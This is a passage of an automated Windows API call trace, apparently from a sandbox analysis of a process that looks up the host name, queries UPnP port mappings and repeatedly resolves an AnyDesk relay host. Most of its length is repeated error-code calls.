GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.154] SetLastError (dwErrCode=0x0) [0284.154] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.155] SetLastError (dwErrCode=0x0) [0284.155] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.156] GetLastError () returned 0x0 [0284.156] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.157] SetLastError (dwErrCode=0x0) [0284.157] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.158] GetLastError () returned 0x0 [0284.158] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.159] GetLastError () returned 0x0 [0284.159] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.160] GetLastError () returned 0x0 [0284.160] SetLastError (dwErrCode=0x0) [0284.161] GetLastError () returned 0x0 [0284.161] SetLastError (dwErrCode=0x0) [0284.161] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3c74 [0284.161] WriteFile (in: hFile=0x144, lpBuffer=0x378f38c*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0x378fcb8, lpOverlapped=0x0 | out: lpBuffer=0x378f38c*, lpNumberOfBytesWritten=0x378fcb8*=0x8b, lpOverlapped=0x0) returned 1 [0284.161] ReleaseMutex (hMutex=0xd8) returned 1 [0284.161] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0284.161] gethostname (in: name=0x378fd30, namelen=256 | out: name="Q9iATrkPrH") returned 0 [0284.680] gethostbyname (name="Q9iATrkPrH") returned 0x124940*(h_name="Q9iATrkPrH", h_aliases=0x124950*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x124954*=([0]="192.168.0.205")) [0284.971] inet_ntoa (in=0xcd00a8c0) returned="192.168.0.205" [0284.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1248f4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0284.971] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688d0 [0284.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1248f4, cbMultiByte=-1, lpWideCharStr=0x19688d0, cchWideChar=14 | out: lpWideCharStr="192.168.0.205") returned 14 [0284.972] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0284.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0284.972] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0c0 [0284.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0284.972] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0284.972] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0284.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc28ccc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0284.972] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0284.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc28ccc, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="TCP") returned 4 [0284.972] CoCreateInstance (in: rclsid=0x7e1304*(Data1=0xae1e00aa, Data2=0x3fd5, Data3=0x403c, Data4=([0]=0x8a, [1]=0x27, [2]=0x2b, [3]=0xbd, [4]=0xc3, [5]=0xc, [6]=0xd0, [7]=0xe1)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7e12e4*(Data1=0xb171c812, Data2=0xcc76, Data3=0x485a, Data4=([0]=0x94, [1]=0xd8, [2]=0xb6, [3]=0xb3, [4]=0xa2, [5]=0x79, [6]=0x4e, [7]=0x99)), ppv=0x378fc8c | out: ppv=0x378fc8c*=0x18ffd8) returned 0x0 [0285.263] UPnPNAT:IUPnPNAT:get_StaticPortMappingCollection (This=0x18ffd8, ppSPMs=0x378fc94) Thread: id = 569 os_tid = 0x5f4 Thread: id = 570 os_tid = 0x5f8 [0284.857] OleInitialize (pvReserved=0x0) returned 0x0 [0284.858] SetEvent (hEvent=0x324) returned 1 [0284.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0284.860] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x15) returned 0x19a92b0 [0284.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x19a92b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0284.860] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x3e6fa68*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3e6fa40 | out: ppResult=0x3e6fa40*=0x124ce8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0285.099] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a92b0 | out: hHeap=0x1930000) returned 1 [0285.099] FreeAddrInfoW (pAddrInfo=0x124ce8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0285.099] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa460 [0285.099] GetCurrentThreadId () returned 0x5f8 [0285.099] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab438 [0285.100] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971ff8 [0285.100] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab420 [0285.100] SetEvent (hEvent=0x1c0) returned 1 [0285.100] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0285.100] OleUninitialize () Thread: id = 571 os_tid = 0x600 Thread: id = 572 os_tid = 0x604 [0285.202] OleInitialize (pvReserved=0x0) returned 0x0 [0285.202] SetEvent (hEvent=0x32c) returned 1 [0285.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0285.203] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x15) returned 0x19a9170 [0285.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x19a9170, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0285.203] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x393fa08*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x393f9e0 | out: ppResult=0x393f9e0*=0x124978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0285.210] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9170 | out: hHeap=0x1930000) returned 1 [0285.210] FreeAddrInfoW (pAddrInfo=0x124978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa4d0 [0285.210] GetCurrentThreadId () returned 0x604 [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab360 [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971ff8 [0285.210] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0285.210] SetEvent (hEvent=0x1c0) returned 1 [0285.212] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab360 | out: hHeap=0x1930000) returned 1 [0285.212] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa4d0 | out: hHeap=0x1930000) returned 1 [0285.212] OleUninitialize () Thread: id = 573 os_tid = 0x608 [0285.249] OleInitialize (pvReserved=0x0) returned 0x0 [0285.249] SetEvent (hEvent=0x348) returned 1 [0285.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0285.250] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x15) returned 0x19a92d0 [0285.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x19a92d0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0285.250] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x3daf7e8*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3daf7c0 | out: ppResult=0x3daf7c0*=0x124978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124c08*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0285.253] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a92d0 | out: hHeap=0x1930000) returned 1 [0285.253] FreeAddrInfoW (pAddrInfo=0x124978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x124c08*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0285.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa508 [0285.253] GetCurrentThreadId () returned 0x608 [0285.253] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab360 [0285.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971ff8 [0285.254] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab330 [0285.254] SetEvent (hEvent=0x1c0) returned 1 [0285.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab360 | out: hHeap=0x1930000) returned 1 [0285.256] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa508 | out: hHeap=0x1930000) returned 1 [0285.256] OleUninitialize ()